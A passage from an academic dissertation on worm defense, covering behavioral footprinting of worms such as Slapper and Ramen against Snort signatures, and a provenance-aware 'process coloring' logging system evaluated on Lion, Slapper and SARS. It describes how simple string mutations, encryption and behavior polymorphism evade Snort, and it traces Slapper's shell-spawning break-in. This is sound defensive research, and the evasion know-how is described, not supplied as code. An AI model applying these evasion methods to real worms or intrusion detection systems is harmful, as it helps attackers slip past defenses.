vGround. The Ramen worm is a multi-vector worm with three infection vectors (IVs):

LPRng (CVE-2000-0917), wu-ftpd (CVE-2000-0573), and nfs-utils (CVE-2000-0666)

9. The three footprints of Ramen worms are also illustrated in Figure 5.7. We observe

that an initial TCP control packet with SYN and FIN bits (SF
1 ) set, source port 21, and

8The Welchia worm is a multi-vector worm, which takes advantage of two vulnerabilities, i.e., the RPC-
DCOM vulnerability (MS03-026) and WebDAV vulnerability (MS03-007). Due to the lack of the vulnerable
IIS server in our environment, the WebDAV-based infection cannot be reproduced.
9The exploitation of the wu-ftp IV is flawed and fails to result in a successful infection.
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Figure 5.7. Behavioral footprints of the Ramen worm – a multi-vector worm

destination port 21, is used to probe the victim in all three footprints. The other three

worms, Lion, Slapper, and SARS worms, are single-vector worms. The SARS worm is a

multi-platform worm, which is able to spread across various platforms (e.g, Debian 3.0,

Gentoo 1.4.x, Mandrake 8.x/9.0, Redhat 6.x/7.x/8.0/9.0, Slackware 8.x/9.0, SuSE 7.x/8.x,

FreeBSD 4.x/5.0, NetBSD 1.5/1.6, and OpenBSD 3.2).

5.4.3 Advantage of Behavioral Footprinting

In this section, we demonstrate the advantage of behavioral footprinting using trace-

driven worm identification experiments. More specifically, sneeze (Section 5.4.2) is mod-

ified to serve as a worm identification tool using worms’ behavioral footprints. We use

a 7-hour trace (80M containing 3 worm infection sessions) collected by Collapsar. For

comparison, we also use snort, a popular open-source content-based IDS, on the same
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trace 10. Sneeze is able to identify all three worm infections in the trace with zero false

positives. Detailed results from snort and sneeze are shown in Table 5.2 and Figure 5.8,

respectively.

Table 5.2
Worm detection with content fingerprints

Snort Signature # Alerts # Sources # Dests

1 NETBIOS DCERPC ISystemActivator path 539 12 201

overfl ow attempt little endian

2 NETBIOS SMB-DS Session Setup And X 15 1 1

request unicode username overflow attempt

3 NETBIOS SMB-DS DCERPC NTLMSSP 14 2 1

asn1 overfl ow attempt

4 ICMP Source Quench 28 28 1

5 ICMP redirect host 27 1 1

6 TFTP Get 24 1 4

7 ICMP Large ICMP Packet 3 2 2

8 ICMP PING CyberKit 2.2 Windows 307551 33 153549

9 ICMP Destination Unreachable Communication 156 2 1

Administratively Prohibited

10 SCAN UPnP service discover attempt 30 1 1

11 NETBIOS SMB-DS IPC$ share unicode access 6 3 1

As Table 5.2 shows, snort performs reasonably well in recognizing various RPC DCOM

buffer overflow attempts, and in reporting numerous alerts for “ICMP PING CyberKit 2.2

Windows”. However, these alerts are raised separately even if they are caused by the same

worm. On the other hand, sneeze identifies 3 successful worm infections and also reports 2

unsuccessful worm infections. In-depth analysis shows that one of the unsuccessful worm

10The signature database used in snort has been updated to contain the latest content fingerprints for known
intrusions.
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Figure 5.8. Worm detection and identification with behavioral footprints

infections generated a wrong address (192.168.1.59) to download the worm replica while

the other unsuccessful infection incurred a flawed exploitation in binding the command

shell service. Since the tftp protocol is used by all these worms, Table 5.2 reports four

alerts with message “TFTP GET” while Figure 5.8 further associates one tftp with the

Enbiei worm, one tftp with the MSBlast worm, and the other two tftps with the Welchia

worm, in which one tftp session is used to download the file DLLHOST.exe (the worm

payload) and the other tftp session is for SV CHOST.exe (a tftpd daemon). The compar-

ison demonstrates the advantage of behavioral footprinting for worm identification.

5.4.4 Robustness of Behavioral Footprinting

In this section, we further compare the robustness of behavioral footprinting when

facing three different types of mutation attacks.

5.4.4.1 A Content-Mutation Attack

In this experiment, we examine the robustness against a simple content-mutation attack

using the Slapper worm.
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In snort, there are two Slapper-related signatures shown in Table 5.3. A vGround with

100 virtual nodes is created and one instance of the original Slapper worm is unleashed

in the vGround. A tcpdump trace is generated by the vGround. From the trace, snort

reports two “MISC OpenSSL Worm Traffic” alerts and five “WEB-MISC Bad HTTP/1.1

Request” alerts.

Table 5.3
Snort signatures for the Slapper worm

Snort Signature Alert Message

1 TERM=xterm MISC OpenSSL Worm Traffic

2 GET / HTTP/1.1 WEB-MISC Bad HTTP/1.1

Request, Potentially Worm Attack

We conduct another experiment by performing a simple mutation of the Slapper worm

content: replacing the string “TERM=xterm” with “TERM=linux” and “GET / HTTP/1.1”

(the banner grabbing routine) with “GET / HTTP/10.” The same vGround is used to

experiment with the modified Slapper worm. Once the content is mutated, no alert is

generated by snort. Others’ recent work [97] has also confirmed the ineffectiveness of

content-based signatures under content mutation attacks.

Behavioral footprinting is not affected by this attack. In both cases, sneeze is able to

identify the same infection sequence of the Slapper worm. As shown in Figure 5.9, the

Slapper worm first opens a normal TCP connection (C1F1

←−
F1) against port 80 checking

the reachability of remote host; It then issues an invalid HTTP GET request (C2

←−
F2, half-

close; containing the second content signature used in snort) to grab the server banner and

query the version of the web server. It establishes 20 simultaneous plain TCP connections

(
∏22

i=3 Ci, opened without any payload and never shutdown) on port 443 to prepare for the

two following exploitations (C23, C24). Finally, a flurry of short packets (> 10, 000) with

each containing only 1 byte in its payload can be observed in the C24 TCP connection.
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Figure 5.9. The behavioral footprint of the Slapper worm
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5.4.4.2 A Traffic-Encryption Attack

In this experiment, we evaluate the robustness when worm traffic is encrypted. As

pointed out in [10], the original Slapper worm is propagated through the transmission of a

uuencoded version of the unencrypted Slapper source code. In this experiment, a synthe-

sized Slapper variant is first instructed to encrypt the worm source file before propagation

and later instructed to decrypt the file before compiling and executing the worm code in

the victim. N-Gram analysis (counting the frequency of n-length combinations of bytes) is

performed over two infection traces: one for the original Slapper worm with unencrypted

worm source (Figure 5.10) and the other for the Slapper worm variant with encrypted

source (Figure 5.11).

The N-gram analysis on the original Slapper worm trace shows several common strings

with much higher frequency than other strings. However, these strings are not the same

as the signature adopted in snort to detect Slapper worms. In fact, the signature used in

snort “TERM=xterm” only happens twice according to the N-Gram analysis. It suggests

that the most recurring content strings are not necessarily suitable for the signature. Once

the transmission is encrypted, every string has equal probability of occurrence. On the

other hand, the sequence C1F1
←−
F1C2

←−
F2

∏22
i=3 CiC23C24 is exhibited in both the original

and the synthesized Slapper worm infection sessions, which demonstrates the robustness

of behavioral footprinting in the face of worms that encrypt their traffic.

5.4.4.3 A Behavior-Polymorphism Attack

The previous two experiments demonstrate the robustness of worm behavioral foot-

prints against content-mutation and traffic encryption attacks. In this experiment, we fur-

ther examine the robustness of behavioral footprints against a behavior-polymorphism

attack.

Instead of following the behavior sequence shown in its original footprint, we craft a

behavior-polymorphic Slapper worm variant, which is capable of (1) intentionally intro-

ducing an arbitrary number of irrelevant or miscellaneous sequences during an infection
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Figure 5.12. A phylogenetic tree built from 20 polymorphic behavioral
sequences of the Slapper worm variant

session 11; (2) intentionally introducing a random delay between two consecutive infection

steps; and (3) intelligently changing the IP address to download the attack payload, includ-

ing the worm replica. However, as restricted by the specific way to exploit the OpenSSL

heap vulnerability (Section 5.3.3), the temporal order in the original behavior sequence

has to be maintained to ensure successful infection.

A vGround with 1500 virtual nodes is created and all successful infection sessions are

recorded for analysis. For brevity and readability, Figure 5.12 only shows the phylogenetic

tree built from traces collected from 20 infection sessions. The numbers in the leaf nodes

are session index numbers (from 1 to 20). The values in intermediate nodes indicate

normalized similarity ([0, 1]) based on Smith-Waterman Algorithm (Section 5.3.2). A

lower value indicates higher similarity between the two sub-clusters. The penalty used for

11Though the worm is able to initiate the connections (e.g., ICMP/TCP/UDP flows) to the victim node, it
can not control the reverse direction as the victim is not under its control before a successful exploitation.
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each gap through the algorithm is p = −2 and the scoring matrix used in Smith-Waterman

Algorithm is

s(i, j) =

⎧⎪⎨
⎪⎩

2, xi = yj

−1, otherwise.

(5.4)

As we observe, the phylogenetic tree algorithm is still able to extract the most critical

part of the original behavior sequence:
∏22

i=3 CiC23C24, demonstrating the resilience of

behavioral footprinting against behavior-polymorphism attacks.

5.5 Limitations

As a new dimension to characterize self-propagating worms, behavioral footprinting

shows promise by identifying all worm infection incidents in our experiments. Behavioral

footprinting is proposed to enrich a worm’s profile along other dimensions such as content-

based signature. In the following, we discuss limitations of behavioral footprinting. These

limitations also call for further improvement along this new dimension as well as the

integration of all dimensions for a multi-facet worm profile.

Behavior substitution attacks Our current pairwise alignment algorithm leverages a

basic sequence alignment technique, or more specifically, a simple predefined scoring ma-

trix (Section 5.3.2), to align worm infection sequences. An attacker might intentionally

introduce a substitutable subsequence, which attempts to corrupt the alignment process

while still achieving the goal of infection or propagation. For example, during the repli-

cation phase (Figure 5.1), different transport channels or even tunnels can be leveraged to

retrieve the worm replica.

However, if we consider each behavior substitution as a possible mutation, such an

attack is reminiscent of the classic challenge faced by biologists on how to optimally align

gene sequences under possible mutations. Two popular scoring matrices used in gene

sequence alignment, i.e., PAM [108] and BLOSSOM [108], have been constantly evolved

to reflect newly-discovered mutations. Similarly, considering that the scoring matrix in
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our algorithm is primitive as it simply returns 1 if two flows are fully matched, additional

efforts are necessary to refine the scoring matrix. Fortunately, our application domain is

different from the biological domain in that a worm usually can not evolve itself at runtime

and has a relatively limited number of possible substitutions. In addition, a worm capable

of substituting its infection steps is likely to be more bloated (reflected by its replica size)

than a simple one. An over-bloated worm is more likely to be detected.

Behavior camouflaging attacks A worm author may attempt to inject fake steps

into the infection sequences. After these fake steps have been included in the worm’s

behavioral footprint, the worm will stop exhibiting these fake steps. As a result, the be-

havioral footprint will experience a sudden increase in false negatives because a full match

against the footprint will fail from now on. The fundamental solution is to identify and

remove those fake steps using techniques such as semantic-level analysis [111, 112], a

challenging on-going research topic. Another possible approach is to mitigate such attack

by adopting partial instead of full footprint matching. However, a trade-off will have to

be made to determine the confidence level of the partial matching to avoid the opposite,

namely high false positives. Other dimensions (e.g., content-based signature) may provide

complementary capability in this case.

5.6 Related work

Security researchers have explored various dimensions to capture worms’ characteris-

tics and apply them to worm identification. Among the most notable, content-based finger-

printing [67–69,96] has been extensively investigated and utilized to derive the most repre-

sentative content sequences. To address the inconvenience of manually extracting worms’

signatures, several systems such as Honeycomb [96], Autograph [68], EarlyBird [67],

and Polygraph [69] have recently been proposed to automate the content-based signature

extraction process. A content sequence is only able to detect worm activity within one

infection step – most likely, the exploitation stage (Figure 5.1). Behavioral footprinting

instead is proposed to capture a worm’s infection steps during its entire infection session.
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Another dimension, anomaly detection [104, 113–118], is based on the insight that

worms are likely to exhibit anomalous behavior such as port scanning [115] and failed

connection attempts [104, 113, 114], which are fundamentally different from normal be-

havior. Though such an approach has been demonstrated effective in detecting worm ac-

tivities, it is not intended to identify worms. In other words, it mainly answers the question

“is there a worm infection?”, not the question “which worm is this?”

Other promising dimensions include vulnerability-specific characterization [104–106]

and semantic-aware taintedness tracking [111,112,119–121]. Shield [106], Worm Vaccine

[104], and Generic Exploit Blocking [105] propose the notion of vulnerability-specific

signature and use it to accurately filter attack flows. TaintCheck [111], Minos [120], Vig-

ilante [119], and other related systems [112,121] enable the detection of unknown attacks

by associating a tag to untrusted information sources and reporting an alert if a tainted

instruction is executed. These schemes are generally applicable to detecting unknown at-

tacks or intrusions. While capable of detecting the occurrence of an exploitation, they do

not attempt to characterize the entire worm infection session where exploitation is only

one of the infection phases.

Another related behavior-oriented approach [122] has been proposed. It focuses more

on the inter-machine propagation pattern (tree) exhibited by worms as well as on the sim-

ilar payload from one machine to another. It assumes the existence of worms’ behavioral

footprints, without justifying their existence and proposing the extraction methods, which

is the focus of our work.

5.7 Summary

We have presented a worm defense mechanism, behavioral footprinting, to enrich

the profile of a worm. Orthogonal and complementary to existing dimensions, behav-

ioral footprinting characterizes a worm’s infection steps and their temporal order. Robust

algorithms are proposed to extract worm behavioral footprints. Our experiments with



95

real-world worms, in comparison with the content-based fingerprinting approach, clearly

demonstrate the existence, uniqueness, and robustness of behavioral footprinting.
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6 TRACKING MALWARE BREAK-INS AND CONTAMINATIONS WITH

PROVENANCE-AWARE PROCESS COLORING

In this chapter, we present another malware defense mechanism, process coloring, which

enables efficient, tamper-resistant tracing of malware break-ins and contaminations. This

mechanism is based on a general framework for operating system level information flows

[129], which we apply to malware defense using virtualization-based logging.

6.1 Introduction

In combat against Internet malware, the following tasks are critical to the understand-

ing of malware exploitation details and to the recovery of an infected host from its con-

tamination: (1) identifying the break-in point, namely the vulnerable, remotely accessible

service via which the malware infects the victim machine and (2) determining all contam-

inations and damages inflicted by the malware during its residence on the victim machine.

To perform these tasks, various intrusion analysis tools can be used [123–126]. For exam-

ple, BackTracker [126] is an advanced forensic tool that traces back an intrusion starting

from a “detection point” and identifies files and processes that could have affected that

detection point. The tool takes the entire log file of the host as input for the back-tracking.

Log-based intrusion analysis tools face the following challenges: (1) Many tools [126–

128] rely on an externally-determined detection point, from which a forensic investigation

will be initiated towards the break-in point of the intrusion. However, a malware’s possi-

bly long “infection-to-detection” duration may mean days or even weeks later when such

a detection point is identified. It is therefore desirable that the log data carry more infor-

mation and provide “leads” to initiate more timely investigations. (2) Current operating

systems lack a provenance-aware mechanism to pre-classify the log data before log anal-

ysis. Log data generated by the system may be of large volume. As reported in [126], log
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data as large as 1.2GB can be generated within one day and need to be examined for an

intrusion trace-back. The uncategorized bulk log data are likely to result in long duration

and high overhead in malware investigation. Although human investigators can provide

heuristics to reduce the log space to be examined, such heuristics may lead to inaccuracy

or incompleteness in worm investigation results. (3) Many log-based tools do not address

tamper-resistant log collection, which is essential in dealing with advanced malware. As

shown in Section 6.2.3, a commonly adopted mechanism, i.e., syscall-wrapping for col-

lecting system call traces, can be easily circumvented during an attack.

In this chapter, we present the design, implementation, and evaluation of process col-

oring, an efficient provenance-aware approach to worm break-in and contamination inves-

tigation. More specifically, process coloring associates a “color,” a unique system-wide

identifier, to each remotely-accessible server or process – a potential worm break-in point.

The color will be either inherited directly by any spawned child process, or diffused in-

directly through the processes’ actions (e.g., read or write operations). As a result, any

process or object (e.g., a file or directory) affected by a colored process will be tainted with

the same color, as recorded in the corresponding log entry. Process coloring is based on

Buchholz’s general framework of process labeling, which pioneered in modeling and rea-

soning about operating system level information flows [129]. Process coloring naturally

leads to two key advantages:

Color-based identification of a worm’s break-in point All worm-infected processes

and contaminated objects will be tainted with the same color as the original vulnerable

service, which is exploited by the worm as the break-in point. By simply examining the

color of any worm-related log entry or any worm-affected object, the break-in point of the

corresponding worm can be immediately identified before detailed log analysis.

Natural partition of log data The colors of log entries provide a natural way to parti-

tion the log. To reveal the contamination caused by a worm, it is no longer necessary to

examine the entire log file. Instead, only log entries with the same color as the worm’s

entry point will need to be inspected. Such partition can substantially reduce the volume

of relevant log data, and thereby improve the efficiency of worm investigation.
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The practicality and effectiveness of process coloring are demonstrated using a number

of real-world self-propagating worms and their variants. For each of these worms, we are

able to quickly identify the vulnerable networked service exploited by the worm. More-

over, reduction of inspected log data is achieved in every worm experiment. For example,

for a detailed SARS worm [100] break-in and contamination investigation, only 12.1%

of the entire log data needs to be inspected. Our prototype also addresses the important

requirement of tamper-resistant log data recording. Virtualization techniques provide a

better instrumentation facility than the system call hooking mechanism to safely obtain

and collect internal states, including worm exploitation and contamination information.

We adopt a technique similar to Livewire [130] and develop an extension to the UML

virtual machine monitor (VMM) for tamper-resistant logging.

In this chapter, we mainly focus on the application of process coloring to the investi-

gation of Internet worms. However, process coloring has potential in analyzing general

malware intrusions and contaminations (Section 6.5.1). The rest of this chapter is or-

ganized as follows: Section 6.2 provides an overview of process coloring. Section 6.3

presents implementation details. Experimental evaluation results are presented in Section

6.4. Other applications and possible attacks are addressed in Section 6.5. Section 6.6

discusses related work. Finally, Section 6.7 summarizes this chapter.

6.2 Process Coloring Approach

6.2.1 Initial Coloring

Figure 6.1 shows a process coloring view of a networked host system running multiple

servers. A unique system-wide identifier called color is assigned to each server process.

The color assignment takes place after the server processes have started but before serving

client requests. A worm breaking into the system will need to exploit a certain vulnerabil-

ity of a (colored) server process. Because any action performed by the exploited process

will lead to a corresponding color diffusion in the host (Section 6.2.2), the break-in and
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contamination by the worm will be evidenced by the color of the affected processes and

system resources and by the color of the corresponding log entries.

Apache Sendmail NFS/RPCMySQL

Figure 6.1. Process coloring view of a system running multiple servers

Each remotely-accessible service is performed by one or more active processes in the

host. For example, the Samba service will start with two different processes smbd and

nmbd; and both portmap and rpc.statd processes belong to the NFS/RPC service. Such

processes can be assigned the same color. However, if we need to further differentiate

each individual process (e.g., “which Apache process is exploited by the Slapper worm?”),

different colors can be assigned to processes belonging to the same service. One benefit of

such assignment is that it provides a finer granularity in log data partition. Alternatively,

it is possible to define a color with two fields: a major field indicating the service and a

minor field differentiating between individual working processes of the same service. For

simplicity, we consider each color as having only one single field.

Although the process identifier (PID) uniquely identifies a process, it is not suitable

for coloring purpose. First, PIDs are generated without any awareness of break-in points.

Consider a zombie process, it is not possible to tell its break-in point simply by its PID

or parent’s PID. Second, it is possible that a process dynamically injects customized code

(e.g., a whole library) into the code space of another active process. In this case, the PID

is not capable of reflecting the impact of the former process on the latter. Such an attack

has become popular on Windows platforms (e.g., the hxdef rootkit [131]) and there exist

open-source libraries (e.g., Injectso [132]) that provide similar functionality for Linux and
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Solaris platforms. In our design, a new field is defined in the operating system kernel to

record the current colors of active processes.

6.2.2 Color Diffusion Model

After the service processes are initially colored, the colors will be diffused to other

processes according to the operations performed by the processes. To reveal worm con-

tamination, we are especially interested in process color diffusion via system-wide shared

resources, such as files, directories, and sockets. For a worm to inflict contamination (e.g.,

backdoor installation), it needs to go through a number of system calls. Hence the process

colors are diffused to the affected system resources via the operations performed by the

system calls. Table 6.1 shows a simplified color diffusion model with respect to several

abstract operations. A worm contamination example will be described later in this section.

Color diffusion follows Buchholz’s process labeling framework [129], where audit

information (defined as process label) is propagated and preserved in a system. Process

color diffusion reflects the classic information flow models [133–136] in many aspects

such as explicit/implicit information flows [136]. In this dissertation, we only consider the

information flow through syscall interfaces, with processes as subjects and intermediate

resources as objects. Other means such as using CPU utilization or disk space availability

to convey information are beyond the scope of this dissertation. In the following, we

describe two types of syscall-based color diffusion:

Direct diffusion involves one process directly affecting the color of another process. It can

happen in a number of ways: (1) Process spawning: If a process issues the fork, vfork, or

clone system call, a new child process will usually be spawned and it will inherit the color

of the parent process. (2) Code injection: A process may use code injection (e.g. via ptrace

system call) to modify the memory space of another process to change its functionality.

The color of the injected process will be updated accordingly. (3) Signal processing: A

process may send a special signal (e.g., the kill command) to another process. If received
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Table 6.1
A simplified color diffusion model

Abstract Operation Color Diffusion Description Example Events/Actions

create < s1, o > color(o) = color(s1) Subject s1 creates create, mkdir, link,

a new object o mknod, pipe, symlink

create < s1, s2 > color(s2) = color(s1) Subject s1 creates fork, vfork, clone,

a new subject s2 execve

read < s1, o > color(s1)∪ = color(o) Subject s1 reads read, readv, recv,

from object o access, stat, fstat

read < s1, s2 > color(s1)∪ = color(s2) Subject s1 reads ptrace

from subject s2

write < s1, o > color(o)∪ = color(s1) Subject s1 writes write, writev, truncate,

into object o chmod, chown, fchown,

send, sendfi le

write < s1, s2 > color(s2)∪ = color(s1) Subject s1 writes ptrace, kill,

into subject s2

destroy < s1, o > - Subject s1 destroys unlink, rmdir, close

the object o

destroy < s1, s2 > - Subject s1 destroys kill, exit

the subject s2

and authorized, the signal will invoke corresponding signal handling and thus affect the

execution flow of the signaled process.

Indirect diffusion from process s1 to s2 can be represented as s1 ⇒ o ⇒ s2, where o

is an intermediate resource (object). Various types of intermediate resources exist: some

resources are dynamically created and will not exist after the process is terminated (e.g.,

UNIX sockets); other resources such as files can persistently exist and may later affect

another process if that process acquires some input from these resources. To support indi-

rect diffusion, the system data structure for an intermediate resource will be enhanced to

record the influence of a process (i.e. its color). Later, when another process gets input
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from the “tainted” resource, the process will be tainted the same color 1. Common resource

types supported in current Linux systems include files, directories, network sockets (in-

cluding UNIX sockets), named pipes (FIFO), and IPC (messages, semaphores, and shared

memory). We also note the existence of special system-wide control resources such as

the system timer/clock, which could be used to indirectly influence another process. How-

ever, as the information flow through the influence is usually limited (i.e., a low-bandwidth

channel) and we are not aware of any worm utilizing these special resources to affect other

processes, we do not explicitly address them in this dissertation.

2568: httpd

fd 5

accept

2568(execve): /bin//sh

execve

inet sock(80)

recv

dup2(5, 0); dup2(5, 1); dup2(5,2) read(0, ...)

2568(execve): /bin/bash −i

dup2(5, 0); dup2(5, 1); dup2(5,2) read(0, ...)

2587: /bin/cat

dup2(5, 0); dup2(5, 1); dup2(5,2) read(0, ...) execve

unix sock("/var/run/.nscd_socket")

connect

fork, execve

2586: /bin/rm −rf /tmp/.bugtraq.c

fork, execve

unix sock("/var/run/.nscd_socket")

connect

/tmp/.uubugtraq

open, dup2, write

/tmp/.bugtraq.c

unlink

Figure 6.2. A coloring diffusion view showing the initial break-in by the Slapper worm

A worm example Figure 6.2 illustrates process color diffusion during the break-in of

the Slapper worm [10], which exploits a vulnerable Apache service as its break-in point.

In Figure 6.2, an oval represents a running process, a rectangle represents a file, and a

diamond represents a network socket. The number inside the oval is the PID while the

following string is the name of the process. Initially, all Apache “httpd” processes are

1To determine which input actually leads to an output, it is shown in [137] that such a problem is equivalent
to solving the Halting problem [138,139]. To be conservative, we consider that once a process reads from a
tainted source, it will also be tainted.
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colored “RED.” Right after the successful exploitation, the exploited “httpd” process (PID:

2568, color: RED) executes (sys execve syscall) the program “/bin//sh” (2568, RED),

which then executes (sys execve syscall) the program “/bin/bash -i” (2568, RED). The

“/bin/bash -i” process further spawns (by sys fork) two child processes: process “/bin/rm

-rf /tmp/.bugtraq.c” (2586, RED) and process “/bin/cat” (2587, RED) - their colors are

inherited from their parent process via direct diffusion. Later on, the WRITE operation

(sys write) of process “/bin/cat” (2587, RED) updates the file (/tmp/.uubugtraq), which

is thus tainted “RED.” As we will show in Section 6.4, this file will be used to generate

(sys read syscall) the worm process to infect other vulnerable hosts. Via indirect diffusion,

the worm process will also be colored “RED.”

6.2.3 Log Collection

Process coloring employs system call (syscall) interception to generate log entries and

tag them with process colors. As demonstrated in [24, 42, 126, 140–142], syscall inter-

ception is effective in revealing and understanding intrusion steps and actions. However,

a simple syscall-based hooking mechanism may be vulnerable to the re-hooking attack,

where attackers can easily avoid or even subvert [143] the log collection function. Fig-

ure 6.3 compares various hooking points for syscall intercepting. Figure 6.3(a) shows the

original implementation in the current Linux kernel. Figure 6.3(b) demonstrates the pop-

ular syscall wrapping technique to intercept system calls. Syscall wrapping modifies the

system call table and redirects the corresponding calls to its own implementation. Unfor-

tunately, if the system call table is later modified, previous interception and redirection

will be invalid. This type of syscall interception is used in [42,124,126], which are there-

fore vulnerable to this re-hooking attack. Figure 6.3(c) shows a more advanced technique,

which intercepts system calls before or while invoking the system call dispatcher. Sys-

trace [142] implements this type of interception by modifying the system call dispatcher

and thus achieves better tamper-resistance. However, it is still possible [124] for an ad-
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vanced intruder to avoid the interception if the corresponding syscall interrupt handler

(e.g., “int 0x80” in Linux) is hooked in the first place.

Our design is based on the virtual machine introspection technique [130]. Though

similar to Figure 6.3(c), the interception happens not in the syscall dispatcher, but on

the virtual machine virtualization path. As such, the interceptor is an integral part of

the underlying virtual machine implementation (Section 6.3) achieving stronger tamper-

resistance. Information about each intercepted system call (e.g. current process, syscall

number, parameters, return value, and return address) forms a log entry, which is tagged

with the color of the current process.

6.3 Implementation

In this section, we present key aspects of process coloring implementation. Our proto-

type leverages User-Mode Linux (UML), an open-source VM implementation where the

guest OS runs directly in the unmodified user space of the host OS, and only considers

the ext2 file system2. To support process coloring, a number of key data structures (e.g.,

task struct, ext2 inode info) are modified to accommodate the color information.

6.3.1 Process Color Setting

In our prototype, a new field color is added to the process control block (PCB) struc-

ture, i.e., task struct, in Linux kernel. To facilitate the setting and retrieval of the color

field, two additional system calls (sys setcolor and sys getcolor) are implemented. There

exists a possibility that these two new syscalls might be abused to undermine process col-

oring. Suppose their syscall interfaces are exposed, it would be easy for worm authors

to add additional code to corrupt the color assignment. Though a strong authentication

scheme may be used to restrict the usage of these two syscalls, it is not desirable as it

essentially achieves security by obscurity. Our solution to this problem is to create and

2We are currently implementing process coloring on another VM platform Xen [29] and we expect even
better performance than our UML-based prototype due to Xen’s para-virtualization approach.
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maintain a separate color mapping table within the syscall interceptor, which allows pro-

cess color setting only within a certain time period after a service starts.

6.3.2 Color Diffusion

Direct diffusion If a new process is created by the fork/vfork/clone system call, it will

inherit the color of its parent process. When a process is being manipulated via the ptrace

system call, the diffusion of color will depend on the system call parameter. If the call has

parameter PTRACE PEEKTEXT, PTRACE PEEKDATA, or PTRACE PEEKUSER, the color(s)

of the ptraced process will be diffused to the ptracing process. Conversely, if the call has

parameter PTRACE POKETEXT, PTRACE POKEDATA, or PTRACE POKEUSER, the color(s)

of the ptracing process will be diffused to the ptraced process. For signal processing, the

color(s) of the signaling process will be diffused to the signaled process. Finally, there are

system calls (sys waitpid and sys wait4) that will lead to color diffusion from the child

process to the parent process.

Indirect diffusion Indirection diffusion involves an intermediate resource (object). In

principle, it is feasible that the system data structure for the corresponding resource be

extended to record the color information. Among all possible intermediate resources, files

and directories are the two most exploited by worms. As they are persistent resources, their

colors also need to be persistently recorded. Intuitively, we can extend the corresponding

inode data structure to accommodate the color attribute. However, adding a color field may

essentially change the implementation of reading/writing files from/to a hard disk or even

corrupt the underlying file system. After carefully examining all fields in current inode

data structure, i.e., ext2 inode info, we find that the field i file acl is intended to record

the corresponding access control flags (ACL) but is not used in the ext2 file system. In our

current prototype, this field is leveraged to save the color value (represented as bitmap) of

the corresponding file or directory. There is another possible field, i.e., i dir acl, which

is intended to record the access control flags for the corresponding directory. However,

this field has already been borrowed to serve as an additional 32-bit field for a 64-bit file
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size representation for files larger than 4GB. For non-persistent resources (e.g., IPC and

network sockets), our current prototype only supports sockets, shared memory, and pipes.

However, for other non-persistent resources, adding a new field is not too challenging.

6.3.3 Log Collection

Safe log
collection

Guest User Space

Guest OS Kernel/UML

Pt
ra

ce

Host OS Kernel

Log file

Figure 6.4. Tamper-resistant log collection by positioning the interceptor
on the system call virtualization path

The log collection mechanism is based on the underlying virtual machine implemen-

tation, i.e. UML, as shown in Figure 6.4. UML adopts a system call-based virtualization

approach and supports VMs in the user space of the host OS. Leveraging the capability

of ptrace, a special thread is created to intercept the system calls made by any process

in the VM, and to redirect them to the guest OS kernel. The interceptor for system call

log collection is located on the system call virtualization path. Therefore, it is tamper-

resistant from malicious processes running inside the VM. Moreover, once the interceptor

has collected a certain amount of log data (e.g., 16K), the log data will be pushed down to

the host domain. One important benefit is that the analysis on the log file within the host

domain will not interrupt the normal execution of the VM. This creates the possibility of

external runtime system monitoring based on colored log data. Applications benefiting

from this opportunity will be discussed in Section 6.5.1.
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6.4 Evaluation

6.4.1 Evaluation of Run-Time Overhead

To measure the overhead introduced by process coloring, we perform a number of

experiments using McVoy’s LMbench [144], a suite of benchmarks targeting various sub-

systems of UNIX platforms. The experiments are conducted using a Dell PowerEdge

2650 server running Linux 2.4.18 with a 2.6GHz Intel Xeon processor and 2GB RAM.

Three sets of experiments are performed: running LMbench on the original Linux kernel

(Linux), on the unmodified UML kernel (UML), and on the modified UML kernel with

process coloring capability (COLORING). The results are shown in Table 6.2.

Table 6.3(a) shows process operation overhead. Table 6.3(b) shows context switch

times under varying number of processes and working set sizes. File system and virtual

memory latency results are shown in Table 6.3(c). The results show that UML suffers a

significant performance penalty caused by its user-level implementation. However, pro-

cess coloring only incurs a small extra performance degradation beyond the original UML.

The reason lies in the interceptor placement. By positioning the interceptor within the sys-

tem call virtualization path, our prototype is able to avoid an additional context switch

per system call, which is needed in other syscall interception schemes [141]. Also, the

log data push-down is not performed upon every invocation of system call. Instead, an

internal cache (16K) is maintained to amortize the overall disk write operations. Finally,

we note that process coloring is not dependent on a specific VM platform. Moreover, we

expect that the performance penalty caused by virtualization (not by the design of process

coloring) be significantly reduced with more efficient VM platforms (e.g., Xen [29] with

para-virtualization) and the upcoming architecture support for VMs (e.g., Intel’s Vander-

pool technology [89]).
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Table 6.2
LMBench results showing low process coloring overhead

Confi guration null cal open close signal handler fork exec

Linux 0.47 2.11 2.47 117 363

UML 11.0 146 28.5 4707 8016

COLORING 11.0 147 29.0 4910 8221

(a) Process-related times in µs

Confi guration 2p/0K 2p/16K 2p/64K 16p/16K 16p/64K

Linux 0.81 1.17 1.19 3.48 22.2

UML 9.11 8.75 9.67 16.7 46.7

COLORING 10.9 11.5 10.7 19.1 47.2

(b) Context switching times in µs

Confi guration create (10K) delete (10K) mmap page fault select (100fd)

Linux 58.8 10.5 141.0 1.35 3.197

UML 226.2 90.2 772.0 15.0 21.9

COLORING 228.6 90.2 792.0 15.1 21.9

(c) File and VM system latencies in µs

6.4.2 Experiments with Real-World Worms

We evaluate the effectiveness of process coloring using a number of real-world Internet

worms: Lion [2], Slapper [10], SARS [100], and their variants. Each worm experiment is

conducted in vGround, our virtual malware playground (Chapter 4).

Table 6.3 shows key statistics of their respective log data. Each log file contains log

entries collected during a 24-hour period, including both worm-related and normal service

access entries. During each experiment, process coloring demonstrates its key benefits:
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Table 6.3
Statistics of process coloring log in three worm experiments

Lion Worm Slapper Worm SARS Worm

Exploited Service BIND (8.2.2 P5-9) Apache (1.3.19-5) Samba (2.2.5-10)

(CVE references) (CVE-2001-0010) (CAN-2002-0656) (CAN-2003-0201)

Time period 24 hours 24 hours 24 hours

being analyzed

Number of log entries 129,386 293,759 166,646

Size of log data 8.0M 18.5MB 10.7MB

Number of worm- 66,504 195,884 19,494

relevant log entries

Size of worm-relevant 3.9MB 12.2MB 1.3MB

log data

Number of files 120,342 62 200

“touched”by the worm

Percentage of 48.7% 65.9% 12.1%

worm-relevant logs

(1) We are able to identify the worms’ break-in points before performing detailed log

analysis. The break-in points are the BIND server (bind-8.2.2 P5-9) for Lion worm, the

Apache server (apache-1.3.19-5 with openssl-0.9.6b-8 package) for Slapper worm, and the

Samba server (samba-2.2.5-10) for SARS worm. (2) The log data that need to be inspected

for detailed worm investigation is only 48.7% (Lion worm), 65.9% (Slapper worm), and

12.1% (SARS worm) of the total logged events, respectively. We note that, because log

entries are naturally partitioned by their colors, increasing background service accesses

